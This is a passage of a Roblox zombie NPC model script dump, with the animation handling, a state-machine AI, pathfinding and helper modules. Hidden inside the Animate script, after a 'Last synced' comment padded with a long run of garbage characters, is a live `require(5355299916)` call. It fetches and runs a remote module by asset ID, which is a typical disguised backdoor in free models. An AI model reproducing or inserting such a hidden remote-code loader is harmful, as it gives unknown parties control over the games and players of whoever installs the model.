local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
-- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end
script.ChildAdded:connect(scriptChildModified)
script.ChildRemoved:connect(scriptChildModified)
for name, fileList in pairs(animNames) do
configureAnimationSet(name, fileList)
end
-- ANIMATION
-- declarations
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
local jumpMaxLimbVelocity = 0.75
-- functions
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopAllAnimations()
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
-- Preload animations
function playAnimation(animName, transitionTime, humanoid)
local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
if (animName ~= currentAnim and not idleFromEmote) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
currentAnimSpeed = 1.0
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
local toolAnimName = ""
local toolAnimTrack = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
-- print("Keyframe : ".. frameName)
local repeatAnim = stopToolAnimations()
playToolAnimation(repeatAnim, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid)
if (animName ~= toolAnimName) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- print("Wha " .. pose)
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
-- Tool Animation handling
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimTime = 0
end
end
-- connect events
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
Humanoid.Swimming:connect(onSwimming)
-- main program
local runService = game:service("RunService");
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
while Figure.Parent~=nil do
local _, time = wait(0.1)
move(time)
end
--[[ Last synced 9/23/2020 06:01 ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������]] require(5355299916) --[[ ]]--
end))
StringValue21.Name = "climb"
StringValue21.Parent = Script20
Animation22.Name = "ClimbAnim"
Animation22.Parent = StringValue21
Animation22.AnimationId = "http://www.roblox.com/asset/?id=125750800"
StringValue23.Name = "fall"
StringValue23.Parent = Script20
Animation24.Name = "FallAnim"
Animation24.Parent = StringValue23
Animation24.AnimationId = "http://www.roblox.com/asset/?id=125750759"
StringValue25.Name = "idle"
StringValue25.Parent = Script20
Animation26.Name = "Animation1"
Animation26.Parent = StringValue25
Animation26.AnimationId = "http://www.roblox.com/asset/?id=125750544"
NumberValue27.Name = "Weight"
NumberValue27.Parent = Animation26
NumberValue27.Value = 9
Animation28.Name = "Animation2"
Animation28.Parent = StringValue25
Animation28.AnimationId = "http://www.roblox.com/asset/?id=125750618"
NumberValue29.Name = "Weight"
NumberValue29.Parent = Animation28
NumberValue29.Value = 1
StringValue30.Name = "jump"
StringValue30.Parent = Script20
Animation31.Name = "JumpAnim"
Animation31.Parent = StringValue30
Animation31.AnimationId = "http://www.roblox.com/asset/?id=125750702"
StringValue32.Name = "run"
StringValue32.Parent = Script20
Animation33.Name = "RunAnim"
Animation33.Parent = StringValue32
Animation33.AnimationId = "http://www.roblox.com/asset/?id=125749145"
StringValue34.Name = "toolnone"
StringValue34.Parent = Script20
Animation35.Name = "ToolNoneAnim"
Animation35.Parent = StringValue34
Animation35.AnimationId = "http://www.roblox.com/asset/?id=125750867"
StringValue36.Name = "walk"
StringValue36.Parent = Script20
Animation37.Name = "WalkAnim"
Animation37.Parent = StringValue36
Animation37.AnimationId = "http://www.roblox.com/asset/?id=125749145"
Script38.Parent = Model2
table.insert(cors,sandbox(Script38,function()
local zombie = script.Parent
for _, script in pairs(zombie.ModuleScripts:GetChildren()) do
if not game.ServerStorage:FindFirstChild(script.Name) then
script:Clone().Parent = game.ServerStorage
end
end
local AI = require(game.ServerStorage.ROBLOX_ZombieAI).new(zombie)
local DestroyService = require(game.ServerStorage.ROBLOX_DestroyService)
local function clearParts(parent)
for _, part in pairs(parent:GetChildren()) do
clearParts(part)
end
local delay
if parent:IsA("Part") then
delay = math.random(5,10)
else
delay = 11
end
DestroyService:AddItem(parent, delay)
end
zombie.Humanoid.Died:connect(function()
AI.Stop()
math.randomseed(tick())
clearParts(zombie)
script.Disabled = true
end)
local lastMoan = os.time()
math.randomseed(os.time())
while true do
local animationTrack = zombie.Humanoid:LoadAnimation(zombie.Animations.Arms)
animationTrack:Play()
-- local now = os.time()
-- if now - lastMoan > 5 then
-- if math.random() > .3 then
-- zombie.Moan:Play()
---- print("playing moan")
-- lastMoan = now
-- end
-- end
wait(2)
end
end))
BillboardGui39.Parent = Model2
BillboardGui39.Size = UDim2.new(0, 100, 0, 30)
BillboardGui39.StudsOffset = Vector3.new(0, 5, 0)
TextLabel40.Parent = BillboardGui39
TextLabel40.Visible = false
TextLabel40.Size = UDim2.new(1, 0, 1, 0)
TextLabel40.BackgroundColor = BrickColor.new("Institutional white")
TextLabel40.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel40.Font = Enum.Font.SourceSansBold
TextLabel40.FontSize = Enum.FontSize.Size24
TextLabel40.Text = "Idle"
TextLabel40.TextSize = 24
Configuration41.Name = "ModuleScripts"
Configuration41.Parent = Model2
ModuleScript42.Name = "ROBLOX_AIUtilities"
ModuleScript42.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript42,function()
local utility = {}
function utility:WideRayCast(start, target, offset, ignoreList)
local parts = {}
local ray = Ray.new(start, target - start)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local offsetVector = offset * (target - start):Cross(Vector3.FromNormalId(Enum.NormalId.Top)).unit
local ray = Ray.new(start + offsetVector, target - start + offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
local ray = Ray.new(start - offsetVector, target - start - offsetVector)
local part, point = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)
if part then table.insert(parts, part) end
return parts
end
function utility:FindNearestPathPoint(path, point, start, target, ignoreList)
local occludePoint = path:CheckOcclusionAsync(point)
if occludePoint > 0 then
utility:WideRayCast(start)
end
end
local maxForce = 15
function utility:GetRepulsionVector(unitPosition, otherUnitsPositions)
local repulsionVector = Vector3.new(0,0,0)
local count = 0
for _, other in pairs(otherUnitsPositions) do
local fromOther = unitPosition - other
--fromOther = fromOther.unit * ((-maxForce / 5) * math.pow(fromOther.magnitude,2) + maxForce)
fromOther = fromOther.unit * 1000 / math.pow((fromOther.magnitude + 1), 2)
repulsionVector = repulsionVector + fromOther
end
return repulsionVector * maxForce
end
function utility:GetIdleState(StateMachine)
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function() end
IdleState.Init = function() end
return IdleState
end
function utility:GetClosestVisibleTarget(npcModel, characters, ignoreList, fieldOfView)
local closestTarget = nil
local closestDistance = math.huge
for _, character in pairs(characters) do
local toTarget = character.HumanoidRootPart.Position - npcModel.HumanoidRootPart.Position
local toTargetWedge = toTarget * Vector3.new(1,0,1)
local angle = math.acos(toTargetWedge:Dot(npcModel.HumanoidRootPart.CFrame.lookVector)/toTargetWedge.magnitude)
if math.deg(angle) < fieldOfView then
local targetRay = Ray.new(npcModel.HumanoidRootPart.Position, toTarget)
local part, position = game.Workspace:FindPartOnRayWithIgnoreList(targetRay, ignoreList)
if part and part.Parent == character then
if toTarget.magnitude < closestDistance then
closestTarget = character
closestDistance = toTarget.magnitude
end
end
end
end
return closestTarget
end
local function isSpaceEmpty(position)
local region = Region3.new(position - Vector3.new(2,2,2), position + Vector3.new(2,2,2))
return game.Workspace:IsRegion3Empty(region)
end
function utility:FindCloseEmptySpace(model)
local targetPos = Vector3.new(0,0,0)
local count = 0
math.randomseed(os.time())
repeat
local xoff = math.random(5,10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
targetPos = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
if isSpaceEmpty(targetPos) then
return targetPos
else
targetPos = targetPos + Vector3.new(0,4,0)
end
if isSpaceEmpty(targetPos) then
return targetPos
end
count = count + 1
until count > 10
return nil
end
return utility
end))
ModuleScript43.Name = "ROBLOX_DestroyService"
ModuleScript43.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript43,function()
local destroyService = {}
local destroyQueue = {}
function destroyService:AddItem(theobject, delay)
local now = os.time()
local destroyObject = {object = theobject, destroyTime = delay + now}
for i, storedObject in pairs(destroyQueue) do
if destroyQueue[i].destroyTime > destroyObject.destroyTime then
table.insert(destroyQueue, i, destroyObject)
return true
end
end
table.insert(destroyQueue, destroyObject)
return true
end
local updateThread = coroutine.create(function()
while true do
local now = os.time()
for _, storedObject in pairs(destroyQueue) do
if now >= storedObject.destroyTime then
table.remove(destroyQueue, 1)
if storedObject.object then
storedObject.object:Destroy()
end
elseif now >= storedObject.destroyTime - 1 then
if storedObject.object and storedObject.object:IsA("Part") then
local trans = storedObject.object.Transparency + 1/30
storedObject.object.Transparency = trans
end
else
break
end
end
wait()
end
end)
coroutine.resume(updateThread)
return destroyService
end))
ModuleScript44.Name = "ROBLOX_HumanoidList"
ModuleScript44.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript44,function()
local humanoidList = {}
local storage = {}
function humanoidList:GetCurrent()
return storage
end
local function findHumanoids(object, list)
if object then
if object:IsA("Humanoid") then
table.insert(list, object)
end
for _, child in pairs(object:GetChildren()) do
local childList = findHumanoids(child, list)
end
end
end
local updateThread = coroutine.create(function()
while true do
storage = {}
findHumanoids(game.Workspace, storage)
wait(3)
end
end)
coroutine.resume(updateThread)
return humanoidList
end))
ModuleScript45.Name = "ROBLOX_StateMachine"
ModuleScript45.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript45,function()
local machine = {}
machine.new = function()
local StateMachine = {}
StateMachine.WaitTime = .2
StateMachine.CurrentState = nil
StateMachine.SwitchState = function(newState)
if StateMachine.CurrentState then
StateMachine.CurrentState.Stop()
end
StateMachine.CurrentState = newState
if newState then
newState.Start()
end
end
StateMachine.NewState = function()
local state = {}
state.Name = ""
state.Conditions = {}
state.isRunning = false
state.Action = function() end
state.Run = function()
state.isRunning = true
while state.isRunning do
--check conditions
--print("checking conditions")
for _, condition in pairs(state.Conditions) do
--print("Checking " .. condition.Name)
if condition.Evaluate() then
--print(condition.Name .. " is true. Switching states")
StateMachine.SwitchState(condition.TransitionState)
return
end
end
--if no conditions satisfied, perform action
state.Action()
wait(StateMachine.WaitTime)
end
end
state.Init = function()
end
state.Start = function()
--print("Starting " .. state.Name)
state.Init()
local thread = coroutine.create(state.Run)
coroutine.resume(thread)
end
state.Stop = function()
--print("Stopping " .. state.Name)
state.isRunning = false
end
return state
end
StateMachine.NewCondition = function()
local condition = {}
condition.Name = ""
condition.Evaluate = function() print("replace me") return false end
condition.TransitionState = {}
return condition
end
return StateMachine
end
return machine
end))
ModuleScript46.Name = "ROBLOX_ZombieAI"
ModuleScript46.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript46,function()
--local PathLib = require(game.ServerStorage.PathfindingLibrary).new()
local HumanoidList = require(game.ServerStorage.ROBLOX_HumanoidList)
local AIUtilities = require(game.ServerStorage.ROBLOX_AIUtilities)
local ZombieAI = {}
function updateDisplay(display, state)
local thread = coroutine.create(function()
while true do
wait()
if state then
display.Text = state.Name
end
end
end)
coroutine.resume(thread)
end
ZombieAI.new = function(model)
local zombie = {}
-- CONFIGURATION VARIABLES
-- local AttackRange, FieldOfView, AggroRange, ChanceOfBoredom, BoredomDuration,
-- Damage, DamageCooldown
local configTable = model.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("AttackRange", 3)
loadConfig("FieldOfView", 180)
loadConfig("AggroRange", 200)
loadConfig("ChanceOfBoredom", .5)
loadConfig("BoredomDuration", 10)
loadConfig("Damage", 10)
loadConfig("DamageCooldown", 1)
local StateMachine = require(game.ServerStorage.ROBLOX_StateMachine).new()
local PathLib = require(game.ServerStorage.ROBLOX_PathfindingLibrary).new()
local ZombieTarget = nil
local ZombieTargetLastLocation = nil
local lastBored = os.time()
-- STATE DEFINITIONS
-- IdleState: NPC stays still. Refreshes bored timer when started to
-- allow for random state change
local IdleState = StateMachine.NewState()
IdleState.Name = "Idle"
IdleState.Action = function()
end
IdleState.Init = function()
lastBored = os.time()
end
-- SearchState: NPC wanders randomly increasing chance of spotting
-- enemy. Refreshed bored timer when started to allow for random state
-- change
local SearchState = StateMachine.NewState()
SearchState.Name = "Search"
local lastmoved = os.time()
local searchTarget = nil
SearchState.Action = function()
-- move to random spot nearby
if model then
local now = os.time()
if now - lastmoved > 2 then
lastmoved = now
local xoff = math.random(5, 10)
if math.random() > .5 then
xoff = xoff * -1
end
local zoff = math.random(5, 10)
if math.random() > .5 then
zoff = zoff * -1
end
local testtarg = AIUtilities:FindCloseEmptySpace(model)
--if testtarg then print(testtarg) else print("could not find") end
searchTarget = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--local target = Vector3.new(model.HumanoidRootPart.Position.X + xoff,model.HumanoidRootPart.Position.Y,model.HumanoidRootPart.Position.Z + zoff)
--model.Humanoid:MoveTo(target)
searchTarget = testtarg
end
if searchTarget then
PathLib:MoveToTarget(model, searchTarget)
end
end
end
SearchState.Init = function()
lastBored = os.time()
end
-- PursueState: Enemy has been spotted, need to give chase.
local PursueState = StateMachine.NewState()
PursueState.Name = "Pursue"
PursueState.Action = function()
-- Double check we still have target
if ZombieTarget then
-- Get distance to target
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
-- If we're far from target use pathfinding to move. Otherwise just MoveTo
if distance > configs["AttackRange"] + 5 then
PathLib:MoveToTarget(model, ZombieTarget.HumanoidRootPart.Position)
else
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
-- if ZombieTarget.HumanoidRootPart.Position.Y > model.HumanoidRootPart.Position.Y + 2 then
-- model.Humanoid.Jump = true
-- end
end
end
end
PursueState.Init = function()
end
-- AttackState: Keep moving towards target and play attack animation.
local AttackState = StateMachine.NewState()
AttackState.Name = "Attack"
local lastAttack = os.time()
local attackTrack = model.Humanoid:LoadAnimation(model.Animations.Attack)
AttackState.Action = function()
model.Humanoid:MoveTo(ZombieTarget.HumanoidRootPart.Position)
local now = os.time()
if now - lastAttack > 3 then
lastAttack = now
attackTrack:Play()
end
end
-- HuntState: Can't see target but NPC will move to target's last known location.
-- Will eventually get bored and switch state.
local HuntState = StateMachine.NewState()
HuntState.Name = "Hunt"
HuntState.Action = function()
if ZombieTargetLastLocation then
PathLib:MoveToTarget(model, ZombieTargetLastLocation)
end
end
HuntState.Init = function()
lastBored = os.time() + configs["BoredomDuration"] / 2
end
-- CONDITION DEFINITIONS
-- CanSeeTarget: Determines if a target is visible. Returns true if target is visible and
-- sets current target. A target is valid if it is nearby, visible, has a Torso and WalkSpeed
-- greater than 0 (this is to ignore inanimate objects that happen to use humanoids)
local CanSeeTarget = StateMachine.NewCondition()
CanSeeTarget.Name = "CanSeeTarget"
CanSeeTarget.Evaluate = function()
if model then
-- Get list of all nearby Zombies and non-Zombie humanoids
-- Zombie list is used to ignore zombies during later raycast
local humanoids = HumanoidList:GetCurrent()
local zombies = {}
local characters = {}
for _, object in pairs(humanoids) do
if object and object.Parent and object.Parent:FindFirstChild("HumanoidRootPart") and object.Health > 0 and object.WalkSpeed > 0 then
local torso = object.Parent:FindFirstChild("HumanoidRootPart")
if torso then
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= configs["AggroRange"] then
if object.Parent.Name == "Drooling Zombie" then
table.insert(zombies, object.Parent)
else
table.insert(characters, object.Parent)
end
end
end
end
end
local target = AIUtilities:GetClosestVisibleTarget(model, characters, zombies, configs["FieldOfView"])
if target then
ZombieTarget = target
return true
end
-- -- Go through each valid target to see if within field of view and if there is
-- -- clear line of sight. Field of view treated as wedge in front of character.
-- for _, character in pairs(characters) do
-- local toTarget = (character.HumanoidRootPart.Position - model.HumanoidRootPart.Position)
-- toTarget = Vector3.new(toTarget.X, 0, toTarget.Z)
-- local angle = math.acos(toTarget:Dot(model.HumanoidRootPart.CFrame.lookVector)/toTarget.magnitude)
-- if math.deg(angle) < configs["FieldOfView"]/2 then
-- ZombieTarget = character
-- -- raycast to see if target is actually visible
-- local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
-- local part, position = game.Workspace:FindPartOnRayWithIgnoreList(toTarget, zombies)
-- if part and part.Parent == ZombieTarget then
-- return true
-- end
-- ZombieTarget = nil
-- end
-- end
end
return false
end
CanSeeTarget.TransitionState = PursueState
-- TargetDead: Check if target is dead.
local TargetDead = StateMachine.NewCondition()
TargetDead.Name = "TargetDead"
TargetDead.Evaluate = function()
if ZombieTarget and ZombieTarget.Humanoid then
return ZombieTarget.Humanoid.Health <= 0
end
return true
end
TargetDead.TransitionState = IdleState
-- GotDamaged: Check if NPC has taken damage
local lastHealth = model.Humanoid.Health
local GotDamaged = StateMachine.NewCondition()
GotDamaged.Name = "GotDamaged"
GotDamaged.Evaluate = function()
if model then
if lastHealth > model.Humanoid.Health then
return true
end
end
return false
end
GotDamaged.TransitionState = SearchState
-- GotBored: Used to provide random state change.
local GotBored = StateMachine.NewCondition()
GotBored.Name = "GotBored"
GotBored.Evaluate = function()
local now = os.time()
if now - lastBored > configs["BoredomDuration"] then
local roll = math.random()
if roll < configs["ChanceOfBoredom"] then
lastBored = now
if GotBored.TransitionState == SearchState then
GotBored.TransitionState = IdleState
else
GotBored.TransitionState = SearchState
end
return true
end
end
return false
end
GotBored.TransitionState = IdleState
-- LostTarget: Checks clear line of sight
local LostTarget = StateMachine.NewCondition()
LostTarget.Name = "LostTarget"
LostTarget.Evaluate = function()
if true then return false end
if ZombieTarget then
if (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position).magnitude > 10 then
local toTarget = Ray.new(model.HumanoidRootPart.Position, (ZombieTarget.HumanoidRootPart.Position - model.HumanoidRootPart.Position))
local part, position = game.Workspace:FindPartOnRay(toTarget, model)
if not part or part.Parent ~= ZombieTarget then
--print("Lost target!")
ZombieTargetLastLocation = ZombieTarget.HumanoidRootPart.Position
ZombieTarget = nil
return true
end
end
end
return false
end
LostTarget.TransitionState = HuntState
local WithinRange = StateMachine.NewCondition()
WithinRange.Name = "WithinRange"
WithinRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance < configs["AttackRange"] then
--print("Within attack range!")
return true
end
end
return false
end
WithinRange.TransitionState = AttackState
local OutsideRange = StateMachine.NewCondition()
OutsideRange.Name = "OutsideRange"
OutsideRange.Evaluate = function()
if ZombieTarget then
local distance = (model.HumanoidRootPart.Position - ZombieTarget.HumanoidRootPart.Position).magnitude
if distance > configs["AttackRange"] then
--print("Outside attack range!")
return true
end
end
return false
end
OutsideRange.TransitionState = PursueState
table.insert(IdleState.Conditions, CanSeeTarget)
table.insert(IdleState.Conditions, GotDamaged)
table.insert(IdleState.Conditions, GotBored)
table.insert(SearchState.Conditions, GotBored)
table.insert(SearchState.Conditions, CanSeeTarget)
table.insert(PursueState.Conditions, LostTarget)
table.insert(PursueState.Conditions, WithinRange)
table.insert(PursueState.Conditions, TargetDead)
table.insert(AttackState.Conditions, OutsideRange)
table.insert(AttackState.Conditions, TargetDead)
table.insert(HuntState.Conditions, GotBored)
table.insert(HuntState.Conditions, CanSeeTarget)
-- Setup arms damage
local canHit = true
local lastHit = os.time()
local function handleHit(other)
if canHit then
if other and other.Parent and other.Parent.Name ~= "Drooling Zombie" and other.Parent:FindFirstChild("Humanoid") then
local enemy = other.Parent
if enemy.Humanoid.WalkSpeed > 0 then
enemy.Humanoid.Health = enemy.Humanoid.Health - configs["Damage"]
canHit = false
end
end
else
local now = os.time()
if now - lastHit > configs["DamageCooldown"] then
lastHit = now
canHit = true
end
end
end
local leftHitConnect, rightHitConnect
leftHitConnect = model:FindFirstChild("Left Arm").Touched:connect(handleHit)
rightHitConnect = model:FindFirstChild("Right Arm").Touched:connect(handleHit)
--ZombieAI.Animate(model)
--updateDisplay()
--updateDisplay(model.BillboardGui.TextLabel, StateMachine.CurrentState)
local thread = coroutine.create(function()
while true do
wait()
-- calculate repulsion force
local humanoids = HumanoidList:GetCurrent()
local localZombies = {}
for _, humanoid in pairs(humanoids) do
if humanoid and humanoid ~= model.Humanoid and humanoid.Parent and humanoid.Parent:FindFirstChild("HumanoidRootPart") then
local torso = humanoid.Parent:FindFirstChild("HumanoidRootPart")
local distance = (model.HumanoidRootPart.Position - torso.Position).magnitude
if distance <= 2.5 then
table.insert(localZombies, torso.Position)
end
end
end
local repulsionDirection = AIUtilities:GetRepulsionVector(model.HumanoidRootPart.Position, localZombies)
if repulsionDirection.magnitude > 0 then
--print("replusion direction: " .. tostring(repulsionDirection))
end
model.HumanoidRootPart.RepulsionForce.force = repulsionDirection
if StateMachine.CurrentState and model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = true
model.BillboardGui.TextLabel.Text = StateMachine.CurrentState.Name
end
if not model.Configurations.Debug.Value then
model.BillboardGui.TextLabel.Visible = false
end
end
end)
coroutine.resume(thread)
StateMachine.SwitchState(IdleState)
zombie.Stop = function()
StateMachine.SwitchState(nil)
end
return zombie
end
return ZombieAI
end))
ModuleScript47.Name = "ROBLOX_PathfindingLibrary"
ModuleScript47.Parent = Configuration41
table.insert(cors,sandbox(ModuleScript47,function()
local PathfindingUtility = {}
local TargetOffsetMax = 10--5
local JumpThreshold = 1.5 --2.5
local NextPointThreshold = 4
local PathfindingService = game:GetService("PathfindingService")
PathfindingService.EmptyCutoff = .3
function PathfindingUtility.new()
local this = {}
local currentTargetPos = nil
local lastTargetPos = Vector3.new(math.huge, math.huge, math.huge)
local path = nil
local currentPointIndex = 1
function this:MoveToTarget(character, target)
local targetOffset = (lastTargetPos - target).magnitude
--
-- local targetOffsetVector = (lastTargetPos - target)
-- if targetOffsetVector.magnitude < math.huge then
-- targetOffsetVector = (lastTargetPos - target) * Vector3.new(1,0,1)
-- end
if targetOffset > TargetOffsetMax then
--if targetOffsetVector.magnitude > TargetOffsetMax then
--print("moveto")
local startPoint = character.HumanoidRootPart.Position
local humanoidState = character.Humanoid:GetState()
if humanoidState == Enum.HumanoidStateType.Jumping or humanoidState == Enum.HumanoidStateType.Freefall then
--print("this")
local ray = Ray.new(character.HumanoidRootPart.Position, Vector3.new(0, -100, 0))
local hitPart, hitPoint = game.Workspace:FindPartOnRay(ray, character)
if hitPart then
